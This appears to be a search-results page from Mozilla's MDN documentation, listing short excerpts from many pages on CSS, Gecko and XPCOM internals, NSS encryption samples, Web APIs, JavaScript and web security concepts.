overview: first steps next css (cascading style sheets) allows you to create great-looking web pages, but how does it work under the hood?
...what you are seeing is the browser's default styles — very basic styles that the browser applies to html to make sure it will be basically readable even if no explicit styling is specified by the author of the page.
...using css you can control exactly how html elements look in the browser, presenting your markup using whatever design you like.
...And 19 more matches
Perceived performance - Learn web development
this article provides a brief introduction to perceived performance, looking at user perceptions, and what objective tools can be used to measure that which is subjective.
...even if an operation is going to take a long time (because of latency or or inavailability of the main thread), it is possible to keep the user engaged while they wait by showing a loading spinner, or a series of useful hints and tips (or jokes, or whatever else you think might be appropriate).
...there are areas of your site that you may not be able to make faster, but you can make it feel faster even if the metrics discussed in the othser sections can't be improved.
...And 19 more matches
Multiprocess on Windows
as you should already know from the prerequisite reading, single threaded apartments receive remote procedure calls (rpcs) from com, via the windows message queue.
...the windows message queue carries a lot of baggage for the purposes of maintaining backward compatibility.
...unfortunately, crossing apartment boundaries using com incurs the exact same problem as crossing process boundaries: if we directly use com's built in marshaling capabilities to forward an rpc from the mta to the main thread sta, com will still use the sta's message queue, thus defeating the purpose of using the mta in the first place!
...And 19 more matches
Creating reftest-based unit tests
if the bitmaps resulting from displaying the two files in an 800x1000 window are identical, the test passes.
... or, alternatively, the conditions can be reversed (a != test rather than an == test).
... this idea can seem odd when first encountered.
...And 19 more matches
Gecko Logging
some other mostly-useless information on logging can be found on the nspr logging page.
...multiple lazylogmodules with the same name can be declared, all will share the same backing logmodule.
... note: log module names can only contain specific characters.
...And 19 more matches
Gecko Keypress Event
gecko 1.9 key handling changed significantly after beta 5 (bug 359638, bug 429510 and the bugs on which they depend).
...that is, when the currently selected keyboard layout produces a unicode character (according to the current state of capslock and numlock), the charcode property contains that character.
... this behavior helps the internationalization of web applications that have custom shortcut keys.
...And 19 more matches
JavaScript-DOM Prototypes in Mozilla
in the case where the c++ object has class info (nsiclassinfo), the jsobject is a more or less empty jsobject which is not really that special.
... all the methods that are supposed to show up on this jsobject are actually not properties of the object itself, but rather properties of the prototype of the jsobject for the wrapper (unless the c++ object's class info has the flag nsixpcscriptable::dont_share_prototype set, but lets assume that's not the case here).
...one of these interfaces is nsidomhtmlimageelement, others are nsidomnshtmlimageelement (netscape extensions to the standard interface), nsidomeventtarget, nsidomeventlistener, nsidom3node, and so on.
...And 19 more matches
Addon
an addon represents an add-on that is either installed or can be installed.
... instances can be created using the many getaddon methods on the addonmanager object.
... the interface can represent many different kinds of add-ons and as such, some of the methods and properties are considered "required" and others "optional," which means that the optional methods or property may not exist on addon instances for some types of add-ons.
...And 19 more matches
MathML Accessibility in Mozilla
this table below provides a list of mathml constructions and how they are read in mozilla applications for various platforms: windows: mathml support is provided by nvda, which actually delegates math reading to the proprietary mathplayer plugin.
... we started exposing generic accessible objects for mathml in bug 920547 and so these can be retrieved by nvda starting with gecko 27.0 (firefox 27.0 / thunderbird 27.0 / seamonkey 2.24).
... mozilla and nvda developers essentially do not have control on how mathematical formulas are read, please contact design science for any inquiries.
...And 19 more matches
Mozilla Style System Documentation
style context management a style context (class nsstylecontext, currently also interface nsistylecontext although the interface should go away when all of the style systems can be moved back into the layout dll) represents the style data for a css formatting object.
... the css specification describes formatting objects that correspond to elements in the content model and formatting objects that correspond to pseudo-elements.
... (mozilla has a bunch of its pseudo-elements that are not in the css specification.) we also create style contexts for some things that are not css formatting objects: text nodes and placeholder frames.
...And 19 more matches
Profiling with Xperf
(note that it's not the first version number in the about window; that's the windows version.) if you have an older version, you will experience bugs, especially around symbol loading for local builds.
...once the sdk installs, execute either wpt_x86.msi or wpt_x64.msi in the redist/windows performance toolkit folder of the sdk's install location (typically program files/microsoft sdks/windows/v7.1/redist/windows performance toolkit) to actually install the windows performance toolkit tools.
... for 64-bit windows 7 or vista, you'll need to do a registry tweak and then restart to enable stack walking: reg add "hklm\system\currentcontrolset\control\session manager\memory management" -v disablepagingexecutive -d 0x1 -t reg_dword -f symbol server setup with the latest versions of the windows performance toolkit, you can modify the symbol path directly from within the program via the trace menu.
...And 19 more matches
Midas
midas can be enabled via javascript on an html document.
... you can try demo of this here.
...it also has a property called contentwindow that refers to the window object inside the inline frame.
...And 19 more matches
Encrypt Decrypt MAC Keys As Session Objects
if a copy of the mpl was not distributed with this * file, you can obtain one at http://mozilla.org/mpl/2.0/.
... pr_fprintf(pr_stderr, "could not read symkey cka_id attribute\n"); return rv; } return rv; } /* * generate a symmetric key */ pk11symkey * generatesymkey(pk11slotinfo *slot, ck_mechanism_type mechanism, int keysize, secitem *keyid, secupwdata *pwdata) { secstatus rv; pk11symkey *key; if (pk11_needlogin(slot)) { rv = pk11_authenticate(slot, pr_true, pwdata); if (rv != secsuccess) { pr_fprintf(pr_stderr, "could not authenticate to token %s.\n", pk11_gettokenname(slot)); return null; } } /* generate the symmetric key */ key = pk11_tokenkeygen(slot, mechanism, null, keysize, keyid, pr_true, pwdata); if (!key) { pr...
... if (rv != secsuccess) return rv; rv = macfinal(ctxmac, mac, maclen, maxlen); return rv; } /* * writetoheaderfile */ secstatus writetoheaderfile(const char *buf, unsigned int len, headertype type, prfiledesc *outfile) { secstatus rv; char header[40]; char trailer[40]; char *outstring = null; switch (type) { case symkey: strcpy(header, enckey_header); strcpy(trailer, enckey_trailer); break; case mackey: strcpy(header, mackey_header); strcpy(trailer, mackey_trailer); break; case iv: strcpy(header, iv_header); strcpy(trailer, iv_trailer); break; case mac: strcpy(header, mac_header); strcpy(trailer, mac_trai...
...And 19 more matches
Encrypt and decrypt MAC using token
if a copy of the mpl was not distributed with this * file, you can obtain one at http://mozilla.org/mpl/2.0/.
... pr_fprintf(pr_stderr, "could not read symkey cka_id attribute\n"); return rv; } return rv; } /* * generate a symmetric key */ pk11symkey * generatesymkey(pk11slotinfo *slot, ck_mechanism_type mechanism, int keysize, secitem *keyid, secupwdata *pwdata) { secstatus rv; pk11symkey *key; if (pk11_needlogin(slot)) { rv = pk11_authenticate(slot, pr_true, pwdata); if (rv != secsuccess) { pr_fprintf(pr_stderr, "could not authenticate to token %s.\n", pk11_gettokenname(slot)); return null; } } /* generate the symmetric key */ key = pk11_tokenkeygen(slot, mechanism, null, keysize, keyid, pr_true, pwdata); if (!key) { pr...
... if (rv != secsuccess) return rv; rv = macfinal(ctxmac, mac, maclen, maxlen); return rv; } /* * writetoheaderfile */ secstatus writetoheaderfile(const char *buf, unsigned int len, headertype type, prfiledesc *outfile) { secstatus rv; char header[40]; char trailer[40]; char *outstring = null; switch (type) { case symkey: strcpy(header, enckey_header); strcpy(trailer, enckey_trailer); break; case mackey: strcpy(header, mackey_header); strcpy(trailer, mackey_trailer); break; case iv: strcpy(header, iv_header); strcpy(trailer, iv_trailer); break; case mac: strcpy(header, mac_header); strcpy(trailer, mac_trai...
...And 19 more matches
NSS Sample Code Sample_3_Basic Encryption and MACing
if a copy of the mpl was not distributed with this * file, you can obtain one at http://mozilla.org/mpl/2.0/.
... pr_fprintf(pr_stderr, "could not read symkey cka_id attribute\n"); return rv; } return rv; } /* * generate a symmetric key */ pk11symkey * generatesymkey(pk11slotinfo *slot, ck_mechanism_type mechanism, int keysize, secitem *keyid, secupwdata *pwdata) { secstatus rv; pk11symkey *key; if (pk11_needlogin(slot)) { rv = pk11_authenticate(slot, pr_true, pwdata); if (rv != secsuccess) { pr_fprintf(pr_stderr, "could not authenticate to token %s.\n", pk11_gettokenname(slot)); return null; } } /* generate the symmetric key */ key = pk11_tokenkeygen(slot, mechanism, null, keysize, keyid, pr_true, pwdata); if (!key) { pr...
... if (rv != secsuccess) return rv; rv = macfinal(ctxmac, mac, maclen, maxlen); return rv; } /* * write to header file */ secstatus writetoheaderfile(const char *buf, unsigned int len, headertype type, prfiledesc *outfile) { secstatus rv; char header[40]; char trailer[40]; char *outstring = null; switch (type) { case symkey: strcpy(header, enckey_header); strcpy(trailer, enckey_trailer); break; case mackey: strcpy(header, mackey_header); strcpy(trailer, mackey_trailer); break; case iv: strcpy(header, iv_header); strcpy(trailer, iv_trailer); break; case mac: strcpy(header, mac_header); strcpy(trailer, mac_trai...
...And 19 more matches
SpiderMonkey 31
it continues to improve performance over previous spidermonkey releases, with a significantly improved garbage collector and other features.
... compiling it requires a c++ compiler, and the jsapi can only be used from c++ code.
... spidermonkey 31 includes a just-in-time compiler (jit) that compiles javascript to machine code, for a significant speed increase.
...And 19 more matches
Packaging WebLock
« previousnext » in this final part of the tutorial, we'll put all of the pieces of the web locking component - the library itself, the type library, the header file, and the user interface resources - into a package that can be installed on other systems.
...the following sections describe the steps you can take to organize the weblock component for distribution and installation.
...for more detailed information on packaging and installation of components into gecko-based applications, see http://www.mozilla.org/projects/xpinstall.
...And 19 more matches
NS_ConvertUTF16toUTF8
class declaration a helper class that converts a utf-16 string to utf-8 method overview constructors operator= get find rfind rfindchar findcharinset rfindcharinset compare equalsignorecase tofloat tointeger mid left right setcharat stripchars stripwhitespace replacechar replacesubstring trim compresswhitespace assignwithconversion appendwithconversion appendint appendfloat beginreading endreading beginwriting endwriting data length isempty isvoid isterminated charat operator[] first last countchar findchar equals equalsascii equalsliteral(const char equalsliteral(char lowercaseequalsascii lowerca...
...seequalsliteral(const char lowercaseequalsliteral(char assign assignascii assignliteral(const char assignliteral(char adopt replace replaceascii append appendascii appendliteral(const char appendliteral(char operator+= insert cut setcapacity setlength truncate getdata getmutabledata setisvoid stripchar base classes nscautostring data members no public members.
...constructors void ns_convertutf16toutf8(const prunichar*) - source a helper class that converts a utf-16 string to utf-8 parameters prunichar* astring void ns_convertutf16toutf8(const prunichar*, pruint32) - source parameters prunichar* astring pruint32 alength void ns_convertutf16toutf8(const nsastring_internal&) - source parameters nsastring_internal& astring operator= nscautostring& operator=(const nscautostring&) - source parameters nscautostring& str nscstring& operator=(const nscstring&) - source parameters nscstring& str nsacstring_internal& operator=(char) - source parameters char c nsacstring_internal& operator=(const char*) - source parameters char* data nsacstring_internal& operator=(const nsacstring_internal&) - source parameters ...
...And 19 more matches
NS_LossyConvertUTF16toASCII
class declaration a helper class that converts a utf-16 string to ascii in a lossy manner method overview constructors operator= get find rfind rfindchar findcharinset rfindcharinset compare equalsignorecase tofloat tointeger mid left right setcharat stripchars stripwhitespace replacechar replacesubstring trim compresswhitespace assignwithconversion appendwithconversion appendint appendfloat beginreading endreading beginwriting endwriting data length isempty isvoid isterminated charat operator[] first last countchar findchar equals equalsascii equalsliteral(const char equalsliteral(char lowercaseequal...
...sascii lowercaseequalsliteral(const char lowercaseequalsliteral(char assign assignascii assignliteral(const char assignliteral(char adopt replace replaceascii append appendascii appendliteral(const char appendliteral(char operator+= insert cut setcapacity setlength truncate getdata getmutabledata setisvoid stripchar base classes nscautostring data members no public members.
...tf16toascii(const prunichar*) - source a helper class that converts a utf-16 string to ascii in a lossy manner parameters prunichar* astring void ns_lossyconvertutf16toascii(const prunichar*, pruint32) - source parameters prunichar* astring pruint32 alength void ns_lossyconvertutf16toascii(const nsastring_internal&) - source parameters nsastring_internal& astring operator= nscautostring& operator=(const nscautostring&) - source parameters nscautostring& str nscstring& operator=(const nscstring&) - source parameters nscstring& str nsacstring_internal& operator=(char) - source parameters char c nsacstring_internal& operator=(const char*) - source parameters char* data nsacstring_internal& operator=(const nsacstring_internal&) - source parameters ...
...And 19 more matches
nsAdoptingCString
be careful!
... method overview constructors operator= operator const char* operator[] get find rfind rfindchar findcharinset rfindcharinset compare equalsignorecase tofloat tointeger mid left right setcharat stripchars stripwhitespace replacechar replacesubstring trim compresswhitespace assignwithconversion appendwithconversion appendint appendfloat beginreading endreading beginwriting endwriting data length isempty isvoid isterminated charat first last countchar findchar equals equalsascii equalsliteral(const char equalsliteral(char lowercaseequalsascii lowercaseequalsliteral(const char lowercaseequalsliteral(ch...
...ar assign assignascii assignliteral(const char assignliteral(char adopt replace replaceascii append appendascii appendliteral(const char appendliteral(char operator+= insert cut setcapacity setlength truncate getdata getmutabledata setisvoid stripchar base classes nsxpidlcstring data members no public members.
...And 19 more matches
nsAdoptingString
be careful!
... method overview constructors operator= operator const prunichar* operator[] get find rfind rfindchar findcharinset rfindcharinset equalsignorecase tofloat tointeger mid left right setcharat stripchars stripwhitespace replacechar replacesubstring trim compresswhitespace assignwithconversion appendwithconversion appendint appendfloat beginreading endreading beginwriting endwriting data length isempty isvoid isterminated charat first last countchar findchar equals equalsascii equalsliteral(const char equalsliteral(char lowercaseequalsascii lowercaseequalsliteral(const char lowercaseequalsliteral(char ...
...assign assignascii assignliteral(const char assignliteral(char adopt replace replaceascii append appendascii appendliteral(const char appendliteral(char operator+= insert cut setcapacity setlength truncate getdata getmutabledata setisvoid stripchar base classes nsxpidlstring data members no public members.
...And 19 more matches
nsDependentCString
this class does not own its data, so the creator of objects of this type must take care to ensure that a nstdependentstring continues to reference valid memory for the duration of its use.
... method overview constructors assertvalid rebind operator= get find rfind rfindchar findcharinset rfindcharinset compare equalsignorecase tofloat tointeger mid left right setcharat stripchars stripwhitespace replacechar replacesubstring trim compresswhitespace assignwithconversion appendwithconversion appendint appendfloat beginreading endreading beginwriting endwriting data length isempty isvoid isterminated charat operator[] first last countchar findchar equals equalsascii equalsliteral(const char equalsliteral(char lowercaseequalsascii lowercaseequalsliteral(const char lowercaseequalsliteral(...
...char assign assignascii assignliteral(const char assignliteral(char adopt replace replaceascii append appendascii appendliteral(const char appendliteral(char operator+= insert cut setcapacity setlength truncate getdata getmutabledata setisvoid stripchar base classes nscstring data members no public members.
...And 19 more matches
nsDependentString
this class does not own its data, so the creator of objects of this type must take care to ensure that a nstdependentstring continues to reference valid memory for the duration of its use.
... method overview constructors assertvalid rebind operator= get find rfind rfindchar findcharinset rfindcharinset equalsignorecase tofloat tointeger mid left right setcharat stripchars stripwhitespace replacechar replacesubstring trim compresswhitespace assignwithconversion appendwithconversion appendint appendfloat beginreading endreading beginwriting endwriting data length isempty isvoid isterminated charat operator[] first last countchar findchar equals equalsascii equalsliteral(const char equalsliteral(char lowercaseequalsascii lowercaseequalsliteral(const char lowercaseequalsliteral(char ass...
...ign assignascii assignliteral(const char assignliteral(char adopt replace replaceascii append appendascii appendliteral(const char appendliteral(char operator+= insert cut setcapacity setlength truncate getdata getmutabledata setisvoid stripchar base classes nsstring data members no public members.
...And 19 more matches
nsXPIDLCString
class declaration nstxpidlstring extends nststring such that: (1) mdata can be null (2) objects of this type can be automatically cast to |const chart*| (3) getter_copies method is supported to adopt data allocated with ns_alloc, such as "out string" parameters in xpidl.
... names: nsxpidlstring for wide characters nsxpidlcstring for narrow characters method overview constructors operator const char* operator[] operator= get find rfind rfindchar findcharinset rfindcharinset compare equalsignorecase tofloat tointeger mid left right setcharat stripchars stripwhitespace replacechar replacesubstring trim compresswhitespace assignwithconversion appendwithconversion appendint appendfloat beginreading endreading beginwriting endwriting data length isempty isvoid isterminated charat first last countchar findchar equals equalsascii equalsliteral(const char equalsliteral(char lowercase...
...equalsascii lowercaseequalsliteral(const char lowercaseequalsliteral(char assign assignascii assignliteral(const char assignliteral(char adopt replace replaceascii append appendascii appendliteral(const char appendliteral(char operator+= insert cut setcapacity setlength truncate getdata getmutabledata setisvoid stripchar base classes nscstring data members no public members.
...And 19 more matches
nsXPIDLString
class declaration nstxpidlstring extends nststring such that: (1) mdata can be null (2) objects of this type can be automatically cast to |const chart*| (3) getter_copies method is supported to adopt data allocated with ns_alloc, such as "out string" parameters in xpidl.
... names: nsxpidlstring for wide characters nsxpidlcstring for narrow characters method overview constructors operator const prunichar* operator[] operator= get find rfind rfindchar findcharinset rfindcharinset equalsignorecase tofloat tointeger mid left right setcharat stripchars stripwhitespace replacechar replacesubstring trim compresswhitespace assignwithconversion appendwithconversion appendint appendfloat beginreading endreading beginwriting endwriting data length isempty isvoid isterminated charat first last countchar findchar equals equalsascii equalsliteral(const char equalsliteral(char lowercaseequalsa...
...scii lowercaseequalsliteral(const char lowercaseequalsliteral(char assign assignascii assignliteral(const char assignliteral(char adopt replace replaceascii append appendascii appendliteral(const char appendliteral(char operator+= insert cut setcapacity setlength truncate getdata getmutabledata setisvoid stripchar base classes nsstring data members no public members.
...And 19 more matches
nsIOutputStream
a blocking output stream may suspend the calling thread in order to satisfy a call to close(), flush(), write(), writefrom(), or writesegments().
... a non-blocking output stream, on the other hand, must not block the calling thread of execution.
... note: blocking output streams are often written to on a background thread to avoid locking up the main application thread.
...And 19 more matches
nsIProtocolHandler
note: starting with firefox 3, one of uri_loadable_by_anyone, uri_dangerous_to_load, uri_is_ui_resource, or uri_is_local_file must be set on every protocol handler.
...keep in mind that the decision of what constitutes an automatic load is made externally, by the caller of nsiscriptsecuritymanager.checkloaduri().
... typically, this flag is used by protocols that show highly untrusted content in a viewing area that the user expects to have a lot of control over, such as an email reader.
...And 19 more matches
nsIProtocolProxyService
to access the service use: var pps = components.classes["@mozilla.org/network/protocol-proxy-service;1"] .getservice(components.interfaces.nsiprotocolproxyservice); method overview deprecated since gecko 18 nsiproxyinfo resolve(in nsiuri auri, in unsigned long aflags); nsicancelable asyncresolve(in nsiuri auri, in unsigned long aflags,in nsiprotocolproxycallback acallback); nsiproxyinfo newproxyinfo(in acstring atype, in autf8string ahost,in long aport, in unsigned long aflags, in unsigned long afailovertimeout, in nsiproxyinfo afailoverproxy); nsiproxyin...
...nfo, in nsiuri auri, in nsresult areason); void registerfilter(in nsiprotocolproxyfilter afilter, in unsigned long aposition); void unregisterfilter(in nsiprotocolproxyfilter afilter); constants constant value description resolve_non_blocking 1<<0 this flag may be passed to the resolve method to request that it fail instead of block the calling thread.
...so, calling resolve without this flag may result in locking up the calling thread for a lengthy period of time.
...And 19 more matches
nsIScriptError
method overview void init(in wstring message, in wstring sourcename, in wstring sourceline, in pruint32 linenumber, in pruint32 columnnumber, in pruint32 flags, in string category); void initwithwindowid(in wstring message, in wstring sourcename, in wstring sourceline, in pruint32 linenumber, in pruint32 columnnumber, in pruint32 flags, in string category, in unsigned long long innerwindowid); autf8string tostring(); attributes attribute type description category string a string indicating the category of error ...
...that occurred see categories for a list.
...this is zero if the error was initialized by calling nsiscripterror.init() instead of initwithwindowid().
...And 19 more matches
nsITransferable
widget/nsitransferable.idlscriptable a container for typed data that can be transferred from one place or owner to another, possibly involving format conversion.
...to create an instance, use: var transferable = components.classes["@mozilla.org/widget/transferable;1"] .createinstance(components.interfaces.nsitransferable); it's important to note that a flavor, which specifies a type of data the transferable supports, is represented by a null-terminated string indicating the mime type of the format supported by the flavor.
... method overview void adddataflavor( in string adataflavor ); nsisupportsarray flavorstransferablecanexport( ); nsisupportsarray flavorstransferablecanimport( ); void getanytransferdata( out string aflavor, out nsisupports adata, out unsigned long adatalen ); void gettransferdata( in string aflavor, out nsisupports adata, out unsigned long adatalen ); void init(in nsiloadcontext acontext); boolean islargedataset( ); void removedataflavor( in string adataflavor ); void settransferdata( in string aflavor, in nsisupports adata, in unsigned long adatalen ); attributes attribute type description converter nsiformatconverter an nsiformatconverter instance which implements the c...
...And 19 more matches
Setting HTTP request headers
you can add your own http headers to any request the application makes, whether the request is initiated by your code explicitly opening an http channel, because of xmlhttprequest activity, an <img> element in content, or even from css.
... http channels when you deal with http requests and responses, typically you are doing this with an nsihttpchannel.
...(in our example, our made up http header is x-hello and not hello because we correctly added the x- in front of our name.) no longer the case: http://tools.ietf.org/html/rfc6648 notifications the question that may be coming to your mind right now is, how do you get the nsihttpchannel when an http request is made.
...And 19 more matches
AudioListener - Web APIs
this is why these values are not marked read only, which is how they appear in the specification's idl.
... audiolistener.positionx represents the horizontal position of the listener in a right-hand cartesian coordinate sytem.
... audiolistener.positiony represents the vertical position of the listener in a right-hand cartesian coordinate sytem.
...And 19 more matches
FileSystemDirectoryEntry.getDirectory() - Web APIs
the filesystemdirectoryentry interface's method getdirectory() returns a filesystemdirectoryentry object corresponding to a directory contained somewhere within the directory subtree rooted at the directory on which it's called.
... syntax filesystemdirectoryentry.getdirectory([path][, options][, successcallback][, errorcallback]); parameters path optional a usvstring representing an absolute path or a path relative to the directory on which the method is called, describing which directory entry to return.
... successcallback optional a method to be called once the filesystemdirectoryentry has been created.
...And 19 more matches
FileSystemDirectoryEntry.getFile() - Web APIs
} the filesystemdirectoryentry interface's method getfile() returns a filesystemfileentry object corresponding to a file contained somewhere within the directory subtree rooted at the directory on which it's called.
... syntax filesystemdirectoryentry.getfile([path][, options][, successcallback][, errorcallback]); parameters path optional a usvstring specifying the path, relative to the directory on which the method is called, describing which file's entry to return.
... successcallback optional a method to be called once the filesystemfileentry has been created.
...And 19 more matches
FileSystemDirectoryReader.readEntries() - Web APIs
the filesystemdirectoryreader interface's readentries() method retrieves the directory entries within the directory being read and delivers them in an array to a provided callback function.
... syntax readentries(successcallback[, errorcallback]); parameters successcallback a function which is called when the directory's contents have been retrieved.
...if there are no files left, or you've already called readentries() on this filesystemdirectoryreader, the array is empty.
...And 19 more matches
Using the Gamepad API - Web APIs
technologies like <canvas>, webgl, <audio>, and <video>, along with javascript implementations, have matured to the point where they can now support many tasks previously requiring native code.
...in addition to these events, the api also adds a gamepad object, which you can use to query the state of a connected gamepad, and a navigator.getgamepads() method which you can use to get a list of gamepads known to the page.
...once one gamepad has been interacted with, other gamepads that are connected will automatically be visible.
...And 19 more matches
HTMLSelectElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><po...
... htmlselectelement.autofocus a boolean reflecting the autofocus html attribute, which indicates whether the control should have input focus when the page loads, unless the user overrides it, for example by typing in a different control.
... only one form-associated element in a document can have this attribute specified.
...And 19 more matches
HTMLTableElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="mid...
... htmltableelement.caption is a htmltablecaptionelement representing the first <caption> that is a child of the element, or null if none is found.
... when set, if the object doesn't represent a <caption>, a domexception with the hierarchyrequesterror name is thrown.
...And 19 more matches
Checking when a deadline is due - Web APIs
the main complication here is checking the stored deadline info (month, hour, day, etc.) against the current time and date taken from a date object.
... the main example application we will be referring to in this article is to-do list notifications, a simple to-do list application that stores task titles and deadline times and dates via indexeddb, and then provides users with notifications when deadline dates are reached, via the notification, and vibration apis.
... you can download the to-do list notifications app from github and play around with the source code, or view the app running live.
...And 19 more matches
KeyboardEvent.key - Web APIs
WebAPIKeyboardEventkey
the keyboardevent interface's key read-only property returns the value of the key pressed by the user, taking into consideration the state of modifier keys such as shift as well as the keyboard locale and layout.
... if the key cannot be identified, the returned value is unidentified.
...for a given key press, the sequence of keyboardevents fired is as follows assuming that event.preventdefault is not called: a keydown event is first fired.
...And 19 more matches
MediaStreamTrack - Web APIs
the mediastreamtrack interface represents a single media track within a stream; typically, these are audio or video tracks, but other track types may exist as well.
... properties in addition to the properties listed below, mediastreamtrack has constrainable properties which can be set using applyconstraints() and accessed using getconstraints() and getsettings().
... see capabilities, constraints, and settings to learn how to correctly work with constrainable properties.
...And 19 more matches
MediaStream Recording API - Web APIs
the mediastream recording api, sometimes simply referred to as the media recording api or the mediarecorder api, is closely affiliated with the media capture and streams api and the webrtc api.
... the mediastream recording api makes it possible to capture the data generated by a mediastream or htmlmediaelement object for analysis, processing, or saving to disk.
...you can then process the data further or write it to file as desired.
...And 19 more matches
Pinch zoom gestures - Web APIs
adding gestures to an application can significantly improve the user experience.
... a live version of this application is available on github.
... define touch target the application uses <div> to define the pointers' target areas.
...And 19 more matches
TextEncoder.prototype.encodeInto() - Web APIs
the textencoder.prototype.encodeinto() method takes a usvstring to encode and a destination uint8array to put resulting utf-8 encoded text into, and returns a dictionary object indicating the progress of the encoding.
...if the output allocation (typically within wasm heap) is expected to be short-lived, it makes sense to simply allocate s.length * 3 bytes for the output, in which case the first conversion attempt is guaranteed to convert the whole string.
... note that the s.length * 3 is rare because the string would have to be packed with some of the few characters that expant into 3 bytes.
...And 19 more matches
Multi-touch interaction - Web APIs
the touch event interfaces support application-specific single and multi-touch interactions.
... however, the interfaces can be a bit tricky for programmers to use because touch events are very different from other dom input events, such as mouse events.
... the application described in this guide shows how to use touch events for simple single and multi-touch interactions, the basics needed to build application-specific gestures.
...And 19 more matches
XRReferenceSpace.getOffsetReferenceSpace() - Web APIs
the xrreferencespace interface's getoffsetreferencespace() method returns a new reference space object which describes the relative difference in position between the object on which the method is called and a given point in 3d space.
... the object returned by getoffsetreferencespace() is an xrreferencespace if called on an xrreferencespace, or an xrboundedreferencespace if called on an object of that type.
... in other words, when you have an object in 3d space and need to position another object relative to that one, you can call getoffsetreferencespace(), passing into it the position and orientation you want the second object to have relative to the position and orientation of the object on which you call getoffsetreferencespace().
...And 19 more matches
<form> - HTML: Hypertext Markup Language
WebHTMLElementform
content categories flow content, palpable content permitted content flow content, but not containing <form> elements tag omission none, both the starting and ending tag are mandatory.
... (in previous versions of html, character encodings could also be delimited by commas.) autocapitalize a nonstandard attribute used by ios safari that controls how textual form elements should be automatically capitalized.
... autocapitalize attributes on a form elements override it on <form>.
...And 19 more matches
Iterators and generators - JavaScript
specifically, an iterator is any object which implements the iterator protocol by having a next() method that returns an object with two properties: value the next value in the iteration sequence.
... once created, an iterator object can be iterated explicitly by repeatedly calling next().
... iterating over an iterator is said to consume the iterator, because it is generally only possible to do once.
...And 19 more matches
String.prototype.replace() - JavaScript
the pattern can be a string or a regexp, and the replacement can be a string or a function to be called for each match.
... description this method does not change the calling string object.
... specifying a string as a parameter the replacement string can include the following special replacement patterns: pattern inserts $$ inserts a "$".
...And 19 more matches
Template literals (Template strings) - JavaScript
you can use multi-line strings and string interpolation features with them.
... they were called "template strings" in prior editions of the es2015 specification.
... template literals can contain placeholders.
...And 19 more matches
Web media technologies
these can be used invisibly as a destination for more complex media, or with visible controls for user-controlled playback of audio files.
...it can be used to simply present video files, or as a destination for streamed video content.
... <video> can also be used as a way to link media apis with other html and dom technologies, including <canvas> (for frame grabbing and manipulation), for example.
...And 19 more matches
Mobile first - Progressive web apps (PWAs)
this means that mobiles (often the target devices with the least available memory, bandwidth or processing power available) can be given an experience suitable for them as quickly as possible, and as free as possible of extraneous information.
...therefore, as well as splitting content into different views, and simplifying the interface and content on each view of your application for mobile as much as possible, it is also a good idea to not include visual effects such as shadows, animations, and gradients.
... you should at least consider it as an option, especially if you are experiencing slow or laggy performance when your application is running on mobile.
...And 19 more matches
Same-origin policy - Web security
the same-origin policy is a critical security mechanism that restricts how a document or script loaded from one origin can interact with a resource from another origin.
...a script can set the value of document.domain to its current domain or a superdomain of its current domain.
... for example, assume a script from the document at http://store.company.com/dir/other.html executes the following: document.domain = "company.com"; afterward, the page can pass the same-origin check with http://company.com/dir/page.html (assuming http://company.com/dir/page.html sets its document.domain to "company.com" to indicate that it wishes to allow that - see document.domain for more).
...And 19 more matches
Web security
ensuring that your website or open web application is secure is critical.
... even simple bugs in your code can result in private information being leaked, and bad people are out there trying to find ways to steal data.
... connection security transport security layer (tls) the transport layer security (tls) protocol is the standard for enabling two networked applications or devices to exchange information privately and robustly.
...And 19 more matches
Migrating from Internal Linkage to Frozen Linkage - Archive of obsolete content
extension code using internal linkage will need to migrate to use frozen linkage because internal linkage will not be available in firefox 3.
...- #include "nsastring.h"- #include "nsstring.h"- #include "nsreadableutils.h"- #include "nsescape.h" + #include "nsstringapi.h" on windows, if you see the following error, you are including a header you shouldn't be: nsstringfwd.h(60) : fatal error c1001: internal compiler error to debug this error, make in the failing directory, adding the /showincludes directive to figure out what is being included incorrectly: make -c directory/that/failed os_cppflags=-showincludes the frozen string api is similar but not identical to the nonfrozen string api.
... the frozen string api does not have (or need) nsxpidlstring: - nsxpidlstring value; + nsstring value; ptr->gettermethod(getter_copies(value)); - const prunichar *strvalue = value; + // nsstring doesn't cast directly to prunichar*, use .get()+ const prunichar *strvalue = value.get(); the frozen string api doesn't accept a length for .truncate().
...And 18 more matches
Appendix A: Add-on Performance - Archive of obsolete content
add-ons can have a noticeable performance impact on firefox.
... this is evident when opening a firefox profile that has many add-ons installed; some profiles can take minutes to load, which is a serious inconvenience for users that gives them a negative view of firefox.
...the problem with the onload event is that it runs before the main window becomes visible, so all handlers need to complete before the user can see the window.
...And 18 more matches
Binding Implementations - Archive of obsolete content
introduction bindings can define methods and properties on a bound element using the implementation tag.
... a binding implementation provides a new set of methods and properties that can be invoked directly from the bound element.
... the methods and properties of an implementation can be defined declaratively using method and property tags in xml, or an external implementation (e.g., a binary implementation) can be specified using the src attribute.
...And 18 more matches
ContextMenus - Archive of obsolete content
a typical usage is for the user to right-click on an element to display a menu of commands pertaining to what was clicked on.
... context menu events there are various ways in which a context menu can be opened.
...on windows, the context menu can also be opened by pressing the menu key on the keyboard (the key on many keyboards next to control with a menu image) or by pressing shift+f10.
...And 18 more matches
Trees and Templates - Archive of obsolete content
multiple rules can be used to indicate different content for different types of data.
...the flags attribute set to the value dont-build-content, as used in the example above, indicates that the tree builder should be used.
...you can see the difference by using mozilla's dom inspector on a tree with and without the flag.
...And 18 more matches
SSL and TLS - Archive of obsolete content
